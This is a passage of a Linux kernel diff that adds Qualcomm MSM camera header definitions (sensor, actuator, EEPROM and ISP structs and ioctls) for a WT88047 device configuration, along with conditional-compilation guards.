CSID_RELEASE, +}; + +enum csiphy_cfg_type_t { + CSIPHY_INIT, + CSIPHY_CFG, + CSIPHY_RELEASE, +}; + +enum camera_vreg_type { + REG_LDO, + REG_VS, + REG_GPIO, +}; + +enum sensor_af_t { + SENSOR_AF_FOCUSSED, + SENSOR_AF_NOT_FOCUSSED, +}; + +struct msm_sensor_power_setting { + enum msm_sensor_power_seq_type_t seq_type; + uint16_t seq_val; + long config_val; + uint16_t delay; + void *data[10]; +}; + +struct msm_sensor_power_setting_array { + struct msm_sensor_power_setting *power_setting; + uint16_t size; + struct msm_sensor_power_setting *power_down_setting; + uint16_t size_down; +}; + +struct msm_sensor_id_info_t { + uint16_t sensor_id_reg_addr; + uint16_t sensor_id; +}; + +enum msm_sensor_camera_id_t { + CAMERA_0, + CAMERA_1, + CAMERA_2, + CAMERA_3, + MAX_CAMERAS, +}; + +enum cci_i2c_master_t { + MASTER_0, + MASTER_1, + MASTER_MAX, +}; + +enum i2c_freq_mode_t { + I2C_STANDARD_MODE, + I2C_FAST_MODE, + I2C_CUSTOM_MODE, + I2C_MAX_MODES, +}; + +struct msm_camera_i2c_reg_array { + uint16_t reg_addr; + uint16_t reg_data; + uint32_t delay; +}; + +struct msm_camera_i2c_reg_setting { + struct msm_camera_i2c_reg_array *reg_setting; + uint16_t size; + enum msm_camera_i2c_reg_addr_type addr_type; + enum msm_camera_i2c_data_type data_type; + uint16_t delay; +}; + +struct msm_camera_i2c_seq_reg_array { + uint16_t reg_addr; + uint8_t reg_data[I2C_SEQ_REG_DATA_MAX]; + uint16_t reg_data_size; +}; + +struct msm_camera_i2c_seq_reg_setting { + struct msm_camera_i2c_seq_reg_array *reg_setting; + uint16_t size; + enum msm_camera_i2c_reg_addr_type addr_type; + uint16_t delay; +}; + +struct msm_camera_i2c_array_write_config { + struct msm_camera_i2c_reg_setting conf_array; + uint16_t slave_addr; +}; + +struct msm_camera_i2c_read_config { + uint16_t slave_addr; + uint16_t reg_addr; + enum msm_camera_i2c_data_type data_type; + uint16_t *data; +}; + +struct msm_camera_csid_vc_cfg { + uint8_t cid; + uint8_t dt; + uint8_t decode_format; +}; + +struct msm_camera_csid_lut_params { + uint8_t num_cid; + struct msm_camera_csid_vc_cfg *vc_cfg[MAX_CID]; +}; + +struct msm_camera_csid_params { + uint8_t lane_cnt; + uint16_t lane_assign; + uint8_t phy_sel; + struct msm_camera_csid_lut_params lut_params; +}; + +struct msm_camera_csiphy_params { + uint8_t lane_cnt; + uint8_t settle_cnt; + uint16_t lane_mask; + uint8_t combo_mode; + uint8_t csid_core; +}; + +struct msm_camera_csi2_params { + struct msm_camera_csid_params csid_params; + struct msm_camera_csiphy_params csiphy_params; +}; + +struct msm_camera_csi_lane_params { + uint16_t csi_lane_assign; + uint16_t csi_lane_mask; +}; + +struct csi_lane_params_t { + uint16_t csi_lane_assign; + uint8_t csi_lane_mask; + uint8_t csi_if; + uint8_t csid_core[2]; + uint8_t csi_phy_sel; +}; + +enum camb_position_t { + BACK_CAMERA_B, + FRONT_CAMERA_B, + INVALID_CAMERA_B, +}; + +struct msm_sensor_info_t { + char sensor_name[MAX_SENSOR_NAME]; + uint32_t session_id; + int32_t subdev_id[SUB_MODULE_MAX]; + uint8_t is_mount_angle_valid; + uint32_t sensor_mount_angle; + int modes_supported; + enum camb_position_t position; +}; + +struct camera_vreg_t { + const char *reg_name; + enum camera_vreg_type type; + int min_voltage; + int max_voltage; + int op_mode; + uint32_t delay; +}; + +enum camerab_mode_t { + CAMERA_MODE_2D_B = (1<<0), + CAMERA_MODE_3D_B = (1<<1), + CAMERA_MODE_INVALID = (1<<2), +}; + +struct msm_sensor_init_params { + /* mask of modes supported: 2D, 3D */ + int modes_supported; + /* sensor position: front, back */ + enum camb_position_t position; + /* sensor mount angle */ + uint32_t sensor_mount_angle; +}; + +struct msm_camera_sensor_slave_info { + char sensor_name[32]; + char eeprom_name[32]; + char actuator_name[32]; + enum msm_sensor_camera_id_t camera_id; + uint16_t slave_addr; + enum i2c_freq_mode_t i2c_freq_mode; + enum msm_camera_i2c_reg_addr_type addr_type; + struct msm_sensor_id_info_t sensor_id_info; + struct msm_sensor_power_setting_array power_setting_array; + uint8_t is_init_params_valid; + struct msm_sensor_init_params sensor_init_params; +}; + +struct sensorb_cfg_data { + int cfgtype; + union { + struct msm_sensor_info_t sensor_info; + struct msm_sensor_init_params sensor_init_params; + void *setting; + } cfg; +}; + +struct csid_cfg_data { + enum csid_cfg_type_t cfgtype; + union { + uint32_t csid_version; + struct msm_camera_csid_params *csid_params; + } cfg; +}; + +struct csiphy_cfg_data { + enum csiphy_cfg_type_t cfgtype; + union { + struct msm_camera_csiphy_params *csiphy_params; + struct msm_camera_csi_lane_params *csi_lane_params; + } cfg; +}; + +enum eeprom_cfg_type_t { + CFG_EEPROM_GET_INFO, + CFG_EEPROM_GET_CAL_DATA, + CFG_EEPROM_READ_CAL_DATA, + CFG_EEPROM_WRITE_DATA, + CFG_EEPROM_GET_MM_INFO, +}; + +struct eeprom_get_t { + uint32_t num_bytes; +}; + +struct eeprom_read_t { + uint8_t *dbuffer; + uint32_t num_bytes; +}; + +struct eeprom_write_t { + uint8_t *dbuffer; + uint32_t num_bytes; +}; + +struct eeprom_get_cmm_t { + uint32_t cmm_support; + uint32_t cmm_compression; + uint32_t cmm_size; +}; + +struct msm_eeprom_cfg_data { + enum eeprom_cfg_type_t cfgtype; + uint8_t is_supported; + union { + char eeprom_name[MAX_SENSOR_NAME]; + struct eeprom_get_t get_data; + struct eeprom_read_t read_data; + struct eeprom_write_t write_data; + struct eeprom_get_cmm_t get_cmm_data; + } cfg; +}; + +enum msm_sensor_cfg_type_t { + CFG_SET_SLAVE_INFO, + CFG_SLAVE_READ_I2C, + CFG_WRITE_I2C_ARRAY, + CFG_SLAVE_WRITE_I2C_ARRAY, + CFG_WRITE_I2C_SEQ_ARRAY, + CFG_POWER_UP, + CFG_POWER_DOWN, + CFG_SET_STOP_STREAM_SETTING, + CFG_GET_SENSOR_INFO, + CFG_GET_SENSOR_INIT_PARAMS, + CFG_SET_INIT_SETTING, + CFG_SET_RESOLUTION, + CFG_SET_STOP_STREAM, + CFG_SET_START_STREAM, + CFG_SET_SATURATION, + CFG_SET_CONTRAST, + CFG_SET_SHARPNESS, + CFG_SET_ISO, + CFG_SET_EXPOSURE_COMPENSATION, + CFG_SET_ANTIBANDING, + CFG_SET_BESTSHOT_MODE, + CFG_SET_EFFECT, + CFG_SET_WHITE_BALANCE, + CFG_SET_AUTOFOCUS, + CFG_CANCEL_AUTOFOCUS, + CFG_SET_STREAM_TYPE, +}; + +enum msm_actuator_cfg_type_t { + CFG_GET_ACTUATOR_INFO, + CFG_SET_ACTUATOR_INFO, + CFG_SET_DEFAULT_FOCUS, + CFG_MOVE_FOCUS, + CFG_SET_POSITION, + CFG_ACTUATOR_POWERDOWN, + CFG_ACTUATOR_POWERUP, + CFG_ACTUATOR_INIT, +}; + +enum actuator_type { + ACTUATOR_VCM, + ACTUATOR_PIEZO, +}; + +enum msm_actuator_data_type { + MSM_ACTUATOR_BYTE_DATA = 1, + MSM_ACTUATOR_WORD_DATA, +}; + +enum msm_actuator_addr_type { + MSM_ACTUATOR_BYTE_ADDR = 1, + MSM_ACTUATOR_WORD_ADDR, +}; + +enum msm_actuator_i2c_operation { + MSM_ACT_WRITE = 0, + MSM_ACT_POLL, +}; + +struct reg_settings_t { + uint16_t reg_addr; + enum msm_actuator_addr_type addr_type; + uint16_t reg_data; + enum msm_actuator_data_type data_type; + enum msm_actuator_i2c_operation i2c_operation; + uint32_t delay; +}; + +struct region_params_t { + /* [0] = ForwardDirection Macro boundary + [1] = ReverseDirection Inf boundary + */ + uint16_t step_bound[2]; + uint16_t code_per_step; +}; + +struct damping_params_t { + uint32_t damping_step; + uint32_t damping_delay; + uint32_t hw_params; +}; + +struct msm_actuator_move_params_t { + int8_t dir; + int8_t sign_dir; + int16_t dest_step_pos; + int32_t num_steps; + uint16_t curr_lens_pos; + struct damping_params_t *ringing_params; +}; + +struct msm_actuator_tuning_params_t { + int16_t initial_code; + uint16_t pwd_step; + uint16_t region_size; + uint32_t total_steps; + struct region_params_t *region_params; +}; + +struct msm_actuator_params_t { + enum actuator_type act_type; + uint8_t reg_tbl_size; + uint16_t data_size; + uint16_t init_setting_size; + uint32_t i2c_addr; + enum msm_actuator_addr_type i2c_addr_type; + enum msm_actuator_data_type i2c_data_type; + struct msm_actuator_reg_params_t *reg_tbl_params; + struct reg_settings_t *init_settings; +}; + +struct msm_actuator_set_info_t { + struct msm_actuator_params_t actuator_params; + struct msm_actuator_tuning_params_t af_tuning_params; +}; + +struct msm_actuator_get_info_t { + uint32_t focal_length_num; + uint32_t focal_length_den; + uint32_t f_number_num; + uint32_t f_number_den; + uint32_t f_pix_num; + uint32_t f_pix_den; + uint32_t total_f_dist_num; + uint32_t total_f_dist_den; + uint32_t hor_view_angle_num; + uint32_t hor_view_angle_den; + uint32_t ver_view_angle_num; + uint32_t ver_view_angle_den; +}; + +enum af_camera_name { + ACTUATOR_MAIN_CAM_0, + ACTUATOR_MAIN_CAM_1, + ACTUATOR_MAIN_CAM_2, + ACTUATOR_MAIN_CAM_3, + ACTUATOR_MAIN_CAM_4, + ACTUATOR_MAIN_CAM_5, + ACTUATOR_WEB_CAM_0, + ACTUATOR_WEB_CAM_1, + ACTUATOR_WEB_CAM_2, +}; + + +struct msm_actuator_set_position_t { + uint16_t number_of_steps; + uint16_t pos[MAX_NUMBER_OF_STEPS]; + uint16_t delay[MAX_NUMBER_OF_STEPS]; +}; + +struct msm_actuator_cfg_data { + int cfgtype; + uint8_t is_af_supported; + union { + struct msm_actuator_move_params_t move; + struct msm_actuator_set_info_t set_info; + struct msm_actuator_get_info_t get_info; + struct msm_actuator_set_position_t setpos; + enum af_camera_name cam_name; + } cfg; +}; + +enum msm_actuator_write_type { + MSM_ACTUATOR_WRITE_HW_DAMP, + MSM_ACTUATOR_WRITE_DAC, +}; + +struct msm_actuator_reg_params_t { + enum msm_actuator_write_type reg_write_type; + uint32_t hw_mask; + uint16_t reg_addr; + uint16_t hw_shift; + uint16_t data_shift; +}; + +enum msm_camera_led_config_t { + MSM_CAMERA_LED_OFF, + MSM_CAMERA_LED_LOW, + MSM_CAMERA_LED_HIGH, + MSM_CAMERA_LED_INIT, + MSM_CAMERA_LED_RELEASE, +}; + +struct msm_camera_led_cfg_t { + enum msm_camera_led_config_t cfgtype; + uint32_t torch_current; + uint32_t flash_current[MAX_LED_TRIGGERS]; +}; + +/* sensor init structures and enums */ +enum msm_sensor_init_cfg_type_t { + CFG_SINIT_PROBE, + CFG_SINIT_PROBE_DONE, + CFG_SINIT_PROBE_WAIT_DONE, +}; + +struct sensor_init_cfg_data { + enum msm_sensor_init_cfg_type_t cfgtype; + union { + void *setting; + } cfg; +}; + +#define VIDIOC_MSM_SENSOR_CFG \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 1, struct sensorb_cfg_data) + +#define VIDIOC_MSM_SENSOR_RELEASE \ + _IO('V', BASE_VIDIOC_PRIVATE + 2) + +#define VIDIOC_MSM_SENSOR_GET_SUBDEV_ID \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 3, uint32_t) + +#define VIDIOC_MSM_CSIPHY_IO_CFG \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 4, struct csiphy_cfg_data) + +#define VIDIOC_MSM_CSID_IO_CFG \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 5, struct csid_cfg_data) + +#define VIDIOC_MSM_ACTUATOR_CFG \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_actuator_cfg_data) + +#define VIDIOC_MSM_FLASH_LED_DATA_CFG \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 7, struct msm_camera_led_cfg_t) + +#define VIDIOC_MSM_EEPROM_CFG \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 8, struct msm_eeprom_cfg_data) + +#define VIDIOC_MSM_SENSOR_GET_AF_STATUS \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 9, uint32_t) + +#define VIDIOC_MSM_SENSOR_INIT_CFG \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 10, struct sensor_init_cfg_data) + +#define MSM_V4L2_PIX_FMT_META v4l2_fourcc('M', 'E', 'T', 'A') /* META */ + +#endif /* __LINUX_MSM_CAM_SENSOR_H */ diff --git a/include/media/msmb_camera.h b/include/media/msmb_camera.h index 5376fd14c5c75..9f8388d7af5ec 100644 --- a/include/media/msmb_camera.h +++ b/include/media/msmb_camera.h @@ -17,6 +17,7 @@ #define MSM_CAM_V4L2_IOCTL_NOTIFY_ERROR \ _IOW('V', BASE_VIDIOC_PRIVATE + 33, struct msm_v4l2_event_data) +#ifndef CONFIG_WT88047_CAMERA #define MSM_CAM_V4L2_IOCTL_NOTIFY_FREEZE \ _IOW('V', BASE_VIDIOC_PRIVATE + 34, struct msm_v4l2_event_data) @@ -37,6 +38,7 @@ _IOW('V', BASE_VIDIOC_PRIVATE + 34, struct v4l2_event32) #endif +#endif #define QCAMERA_DEVICE_GROUP_ID 1 #define QCAMERA_VNODE_GROUP_ID 2 @@ -58,8 +60,10 @@ #define MSM_CAMERA_SUBDEV_STROBE_FLASH 12 #define MSM_CAMERA_SUBDEV_BUF_MNGR 13 #define MSM_CAMERA_SUBDEV_SENSOR_INIT 14 +#ifndef CONFIG_WT88047_CAMERA #define MSM_CAMERA_SUBDEV_OIS 15 #define MSM_CAMERA_SUBDEV_FLASH 16 +#endif #define MSM_MAX_CAMERA_SENSORS 5 diff --git a/include/media/msmb_isp.h b/include/media/msmb_isp.h index 68256ea70cacd..9896415f15166 100644 --- a/include/media/msmb_isp.h +++ b/include/media/msmb_isp.h @@ -9,6 +9,10 @@ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ +#ifdef CONFIG_WT88047_CAMERA +#include +#else + #ifndef __MSMB_ISP__ #define __MSMB_ISP__ @@ -605,3 +609,5 @@ struct msm_isp_event_data32 { _IOWR('V', BASE_VIDIOC_PRIVATE+21, struct msm_isp_event_data) #endif #endif /* __MSMB_ISP__ */ + +#endif /* CONFIG_WT88047_CAMERA */ diff --git a/include/media/msmb_isp_wt88047.h b/include/media/msmb_isp_wt88047.h new file mode 100644 index 0000000000000..9c45f7067b8fa --- /dev/null +++ b/include/media/msmb_isp_wt88047.h @@ -0,0 +1,461 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +#ifndef __MSMB_ISP__ +#define __MSMB_ISP__ + +#include + +#define MAX_PLANES_PER_STREAM 3 +#define MAX_NUM_STREAM 7 + +#define ISP_VERSION_44 44 +#define ISP_VERSION_40 40 +#define ISP_VERSION_32 32 +#define ISP_NATIVE_BUF_BIT (0x10000 << 0) +#define ISP0_BIT (0x10000 << 1) +#define ISP1_BIT (0x10000 << 2) +#define ISP_META_CHANNEL_BIT (0x10000 << 3) +#define ISP_SCRATCH_BUF_BIT (0x10000 << 4) +#define ISP_STATS_STREAM_BIT 0x80000000 + +struct msm_vfe_cfg_cmd_list; + +enum ISP_START_PIXEL_PATTERN { + ISP_BAYER_RGRGRG, + ISP_BAYER_GRGRGR, + ISP_BAYER_BGBGBG, + ISP_BAYER_GBGBGB, + ISP_YUV_YCbYCr, + ISP_YUV_YCrYCb, + ISP_YUV_CbYCrY, + ISP_YUV_CrYCbY, + ISP_PIX_PATTERN_MAX +}; + +enum msm_vfe_plane_fmt { + Y_PLANE, + CB_PLANE, + CR_PLANE, + CRCB_PLANE, + CBCR_PLANE, + VFE_PLANE_FMT_MAX +}; + +enum msm_vfe_input_src { + VFE_PIX_0, + VFE_RAW_0, + VFE_RAW_1, + VFE_RAW_2, + VFE_SRC_MAX, +}; + +enum msm_vfe_axi_stream_src { + PIX_ENCODER, + PIX_VIEWFINDER, + CAMIF_RAW, + IDEAL_RAW, + RDI_INTF_0, + RDI_INTF_1, + RDI_INTF_2, + VFE_AXI_SRC_MAX +}; + +enum msm_vfe_frame_skip_pattern { + NO_SKIP, + EVERY_2FRAME, + EVERY_3FRAME, + EVERY_4FRAME, + EVERY_5FRAME, + EVERY_6FRAME, + EVERY_7FRAME, + EVERY_8FRAME, + EVERY_16FRAME, + EVERY_32FRAME, + SKIP_ALL, + MAX_SKIP, +}; + +enum msm_vfe_camif_input { + CAMIF_DISABLED, + CAMIF_PAD_REG_INPUT, + CAMIF_MIDDI_INPUT, + CAMIF_MIPI_INPUT, +}; + +struct msm_vfe_camif_cfg { + uint32_t lines_per_frame; + uint32_t pixels_per_line; + uint32_t first_pixel; + uint32_t last_pixel; + uint32_t first_line; + uint32_t last_line; + uint32_t epoch_line0; + uint32_t epoch_line1; + enum msm_vfe_camif_input camif_input; +}; + +enum msm_vfe_inputmux { + CAMIF, + TESTGEN, + EXTERNAL_READ, +}; + +enum msm_vfe_stats_composite_group { + STATS_COMPOSITE_GRP_NONE, + STATS_COMPOSITE_GRP_1, + STATS_COMPOSITE_GRP_2, + STATS_COMPOSITE_GRP_MAX, +}; + +struct msm_vfe_pix_cfg { + struct msm_vfe_camif_cfg camif_cfg; + enum msm_vfe_inputmux input_mux; + enum ISP_START_PIXEL_PATTERN pixel_pattern; + uint32_t input_format; +}; + +struct msm_vfe_rdi_cfg { + uint8_t cid; + uint8_t frame_based; +}; + +struct msm_vfe_input_cfg { + union { + struct msm_vfe_pix_cfg pix_cfg; + struct msm_vfe_rdi_cfg rdi_cfg; + } d; + enum msm_vfe_input_src input_src; + uint32_t input_pix_clk; +}; + +struct msm_vfe_axi_plane_cfg { + uint32_t output_width; /*Include padding*/ + uint32_t output_height; + uint32_t output_stride; + uint32_t output_scan_lines; + uint32_t output_plane_format; /*Y/Cb/Cr/CbCr*/ + uint32_t plane_addr_offset; + uint8_t csid_src; /*RDI 0-2*/ + uint8_t rdi_cid;/*CID 1-16*/ +}; + +struct msm_vfe_axi_stream_request_cmd { + uint32_t session_id; + uint32_t stream_id; + uint32_t vt_enable; + uint32_t output_format;/*Planar/RAW/Misc*/ + enum msm_vfe_axi_stream_src stream_src; /*CAMIF/IDEAL/RDIs*/ + struct msm_vfe_axi_plane_cfg plane_cfg[MAX_PLANES_PER_STREAM]; + + uint32_t burst_count; + uint32_t hfr_mode; + uint8_t frame_base; + + uint32_t init_frame_drop; /*MAX 31 Frames*/ + enum msm_vfe_frame_skip_pattern frame_skip_pattern; + uint8_t buf_divert; /* if TRUE no vb2 buf done. */ + /*Return values*/ + uint32_t axi_stream_handle; + uint32_t burst_len; +}; + +struct msm_vfe_axi_stream_release_cmd { + uint32_t stream_handle; +}; + +enum msm_vfe_axi_stream_cmd { + STOP_STREAM, + START_STREAM, + STOP_IMMEDIATELY, +}; + +struct msm_vfe_axi_stream_cfg_cmd { + uint8_t num_streams; + uint32_t stream_handle[MAX_NUM_STREAM]; + enum msm_vfe_axi_stream_cmd cmd; +}; + +enum msm_vfe_axi_stream_update_type { + ENABLE_STREAM_BUF_DIVERT, + DISABLE_STREAM_BUF_DIVERT, + UPDATE_STREAM_FRAMEDROP_PATTERN, + UPDATE_STREAM_AXI_CONFIG, + UPDATE_STREAM_REQUEST_FRAMES, +}; + +struct msm_vfe_axi_stream_cfg_update_info { + uint32_t stream_handle; + uint32_t output_format; + uint32_t request_frm_num; + enum msm_vfe_frame_skip_pattern skip_pattern; + struct msm_vfe_axi_plane_cfg plane_cfg[MAX_PLANES_PER_STREAM]; +}; + +struct msm_vfe_axi_stream_update_cmd { + uint32_t num_streams; + enum msm_vfe_axi_stream_update_type update_type; + struct msm_vfe_axi_stream_cfg_update_info update_info[MAX_NUM_STREAM]; +}; + +enum msm_isp_stats_type { + MSM_ISP_STATS_AEC, /* legacy based AEC */ + MSM_ISP_STATS_AF, /* legacy based AF */ + MSM_ISP_STATS_AWB, /* legacy based AWB */ + MSM_ISP_STATS_RS, /* legacy based RS */ + MSM_ISP_STATS_CS, /* legacy based CS */ + MSM_ISP_STATS_IHIST, /* legacy based HIST */ + MSM_ISP_STATS_SKIN, /* legacy based SKIN */ + MSM_ISP_STATS_BG, /* Bayer Grids */ + MSM_ISP_STATS_BF, /* Bayer Focus */ + MSM_ISP_STATS_BE, /* Bayer Exposure*/ + MSM_ISP_STATS_BHIST, /* Bayer Hist */ + MSM_ISP_STATS_BF_SCALE, /* Bayer Focus scale */ + MSM_ISP_STATS_MAX /* MAX */ +}; + +struct msm_vfe_stats_stream_request_cmd { + uint32_t session_id; + uint32_t stream_id; + enum msm_isp_stats_type stats_type; + uint32_t composite_flag; + uint32_t framedrop_pattern; + uint32_t irq_subsample_pattern; + uint32_t buffer_offset; + uint32_t stream_handle; +}; + +struct msm_vfe_stats_stream_release_cmd { + uint32_t stream_handle; +}; +struct msm_vfe_stats_stream_cfg_cmd { + uint8_t num_streams; + uint32_t stream_handle[MSM_ISP_STATS_MAX]; + uint8_t enable; + uint32_t stats_burst_len; +}; + +enum msm_vfe_reg_cfg_type { + VFE_WRITE, + VFE_WRITE_MB, + VFE_READ, + VFE_CFG_MASK, + VFE_WRITE_DMI_16BIT, + VFE_WRITE_DMI_32BIT, + VFE_WRITE_DMI_64BIT, + VFE_READ_DMI_16BIT, + VFE_READ_DMI_32BIT, + VFE_READ_DMI_64BIT, + GET_MAX_CLK_RATE, + GET_ISP_ID, + VFE_HW_UPDATE_LOCK, + VFE_HW_UPDATE_UNLOCK, + SET_WM_UB_SIZE, +}; + +struct msm_vfe_cfg_cmd2 { + uint16_t num_cfg; + uint16_t cmd_len; + void __user *cfg_data; + void __user *cfg_cmd; +}; + +struct msm_vfe_cfg_cmd_list { + struct msm_vfe_cfg_cmd2 cfg_cmd; + struct msm_vfe_cfg_cmd_list *next; + uint32_t next_size; +}; + +struct msm_vfe_reg_rw_info { + uint32_t reg_offset; + uint32_t cmd_data_offset; + uint32_t len; +}; + +struct msm_vfe_reg_mask_info { + uint32_t reg_offset; + uint32_t mask; + uint32_t val; +}; + +struct msm_vfe_reg_dmi_info { + uint32_t hi_tbl_offset; /*Optional*/ + uint32_t lo_tbl_offset; /*Required*/ + uint32_t len; +}; + +struct msm_vfe_reg_cfg_cmd { + union { + struct msm_vfe_reg_rw_info rw_info; + struct msm_vfe_reg_mask_info mask_info; + struct msm_vfe_reg_dmi_info dmi_info; + } u; + + enum msm_vfe_reg_cfg_type cmd_type; +}; + +enum msm_isp_buf_type { + ISP_PRIVATE_BUF, + ISP_SHARE_BUF, + MAX_ISP_BUF_TYPE, +}; + +struct msm_isp_buf_request { + uint32_t session_id; + uint32_t stream_id; + uint8_t num_buf; + uint32_t handle; + enum msm_isp_buf_type buf_type; +}; + +struct msm_isp_qbuf_info { + uint32_t handle; + int32_t buf_idx; + /*Only used for prepare buffer*/ + struct v4l2_buffer buffer; + /*Only used for diverted buffer*/ + uint32_t dirty_buf; +}; + +struct msm_vfe_axi_src_state { + enum msm_vfe_input_src input_src; + uint32_t src_active; +}; + +enum msm_isp_event_idx { + ISP_REG_UPDATE = 0, + ISP_START_ACK = 1, + ISP_STOP_ACK = 2, + ISP_IRQ_VIOLATION = 3, + ISP_WM_BUS_OVERFLOW = 4, + ISP_STATS_OVERFLOW = 5, + ISP_CAMIF_ERROR = 6, + ISP_BUF_DONE = 9, + ISP_EVENT_MAX = 10 +}; + +#define ISP_EVENT_OFFSET 8 +#define ISP_EVENT_BASE (V4L2_EVENT_PRIVATE_START) +#define ISP_BUF_EVENT_BASE (ISP_EVENT_BASE + (1 << ISP_EVENT_OFFSET)) +#define ISP_STATS_EVENT_BASE (ISP_EVENT_BASE + (2 << ISP_EVENT_OFFSET)) +#define ISP_SOF_EVENT_BASE (ISP_EVENT_BASE + (3 << ISP_EVENT_OFFSET)) +#define ISP_EOF_EVENT_BASE (ISP_EVENT_BASE + (4 << ISP_EVENT_OFFSET)) +#define ISP_EVENT_REG_UPDATE (ISP_EVENT_BASE + ISP_REG_UPDATE) +#define ISP_EVENT_START_ACK (ISP_EVENT_BASE + ISP_START_ACK) +#define ISP_EVENT_STOP_ACK (ISP_EVENT_BASE + ISP_STOP_ACK) +#define ISP_EVENT_IRQ_VIOLATION (ISP_EVENT_BASE + ISP_IRQ_VIOLATION) +#define ISP_EVENT_WM_BUS_OVERFLOW (ISP_EVENT_BASE + ISP_WM_BUS_OVERFLOW) +#define ISP_EVENT_STATS_OVERFLOW (ISP_EVENT_BASE + ISP_STATS_OVERFLOW) +#define ISP_EVENT_CAMIF_ERROR (ISP_EVENT_BASE + ISP_CAMIF_ERROR) +#define ISP_EVENT_SOF (ISP_SOF_EVENT_BASE) +#define ISP_EVENT_EOF (ISP_EOF_EVENT_BASE) +#define ISP_EVENT_BUF_DONE (ISP_EVENT_BASE + ISP_BUF_DONE) +#define ISP_EVENT_BUF_DIVERT (ISP_BUF_EVENT_BASE) +#define ISP_EVENT_STATS_NOTIFY (ISP_STATS_EVENT_BASE) +#define ISP_EVENT_COMP_STATS_NOTIFY (ISP_EVENT_STATS_NOTIFY + MSM_ISP_STATS_MAX) +/* The msm_v4l2_event_data structure should match the + * v4l2_event.u.data field. + * should not exceed 64 bytes */ + +struct msm_isp_buf_event { + uint32_t session_id; + uint32_t stream_id; + uint32_t handle; + uint32_t output_format; + int8_t buf_idx; +}; +struct msm_isp_stats_event { + uint32_t stats_mask; /* 4 bytes */ + uint8_t stats_buf_idxs[MSM_ISP_STATS_MAX]; /* 11 bytes */ +}; + +struct msm_isp_stream_ack { + uint32_t session_id; + uint32_t stream_id; + uint32_t handle; +}; + +struct msm_isp_event_data { + /*Wall clock except for buffer divert events + *which use monotonic clock + */ + struct timeval timestamp; + /* Monotonic timestamp since bootup */ + struct timeval mono_timestamp; + enum msm_vfe_input_src input_intf; + uint32_t frame_id; + union { + struct msm_isp_stats_event stats; + struct msm_isp_buf_event buf_done; + } u; /* union can have max 52 bytes */ +}; + +#define V4L2_PIX_FMT_QBGGR8 v4l2_fourcc('Q', 'B', 'G', '8') +#define V4L2_PIX_FMT_QGBRG8 v4l2_fourcc('Q', 'G', 'B', '8') +#define V4L2_PIX_FMT_QGRBG8 v4l2_fourcc('Q', 'G', 'R', '8') +#define V4L2_PIX_FMT_QRGGB8 v4l2_fourcc('Q', 'R', 'G', '8') +#define V4L2_PIX_FMT_QBGGR10 v4l2_fourcc('Q', 'B', 'G', '0') +#define V4L2_PIX_FMT_QGBRG10 v4l2_fourcc('Q', 'G', 'B', '0') +#define V4L2_PIX_FMT_QGRBG10 v4l2_fourcc('Q', 'G', 'R', '0') +#define V4L2_PIX_FMT_QRGGB10 v4l2_fourcc('Q', 'R', 'G', '0') +#define V4L2_PIX_FMT_QBGGR12 v4l2_fourcc('Q', 'B', 'G', '2') +#define V4L2_PIX_FMT_QGBRG12 v4l2_fourcc('Q', 'G', 'B', '2') +#define V4L2_PIX_FMT_QGRBG12 v4l2_fourcc('Q', 'G', 'R', '2') +#define V4L2_PIX_FMT_QRGGB12 v4l2_fourcc('Q', 'R', 'G', '2') +#define V4L2_PIX_FMT_NV14 v4l2_fourcc('N', 'V', '1', '4') +#define V4L2_PIX_FMT_NV41 v4l2_fourcc('N', 'V', '4', '1') +#define V4L2_PIX_FMT_META v4l2_fourcc('Q', 'M', 'E', 'T') + +#define VIDIOC_MSM_VFE_REG_CFG \ + _IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_vfe_cfg_cmd2) + +#define VIDIOC_MSM_ISP_REQUEST_BUF \ + _IOWR('V', BASE_VIDIOC_PRIVATE+1, struct msm_isp_buf_request) + +#define VIDIOC_MSM_ISP_ENQUEUE_BUF \ + _IOWR('V', BASE_VIDIOC_PRIVATE+2, struct msm_isp_qbuf_info) + +#define VIDIOC_MSM_ISP_RELEASE_BUF \ + _IOWR('V', BASE_VIDIOC_PRIVATE+3, struct msm_isp_buf_request) + +#define VIDIOC_MSM_ISP_REQUEST_STREAM \ + _IOWR('V', BASE_VIDIOC_PRIVATE+4, struct msm_vfe_axi_stream_request_cmd) + +#define VIDIOC_MSM_ISP_CFG_STREAM \ + _IOWR('V', BASE_VIDIOC_PRIVATE+5, struct msm_vfe_axi_stream_cfg_cmd) + +#define VIDIOC_MSM_ISP_RELEASE_STREAM \ + _IOWR('V', BASE_VIDIOC_PRIVATE+6, struct msm_vfe_axi_stream_release_cmd) + +#define VIDIOC_MSM_ISP_INPUT_CFG \ + _IOWR('V', BASE_VIDIOC_PRIVATE+7, struct msm_vfe_input_cfg) + +#define VIDIOC_MSM_ISP_SET_SRC_STATE \ + _IOWR('V', BASE_VIDIOC_PRIVATE+8, struct msm_vfe_axi_src_state) + +#define VIDIOC_MSM_ISP_REQUEST_STATS_STREAM \ + _IOWR('V', BASE_VIDIOC_PRIVATE+9, \ + struct msm_vfe_stats_stream_request_cmd) + +#define VIDIOC_MSM_ISP_CFG_STATS_STREAM \ + _IOWR('V', BASE_VIDIOC_PRIVATE+10, struct msm_vfe_stats_stream_cfg_cmd) + +#define VIDIOC_MSM_ISP_RELEASE_STATS_STREAM \ + _IOWR('V', BASE_VIDIOC_PRIVATE+11, \ + struct msm_vfe_stats_stream_release_cmd) + +#define VIDIOC_MSM_ISP_UPDATE_STREAM \ + _IOWR('V', BASE_VIDIOC_PRIVATE+13, struct msm_vfe_axi_stream_update_cmd) + +#define VIDIOC_MSM_VFE_REG_LIST_CFG \ + _IOWR('V', 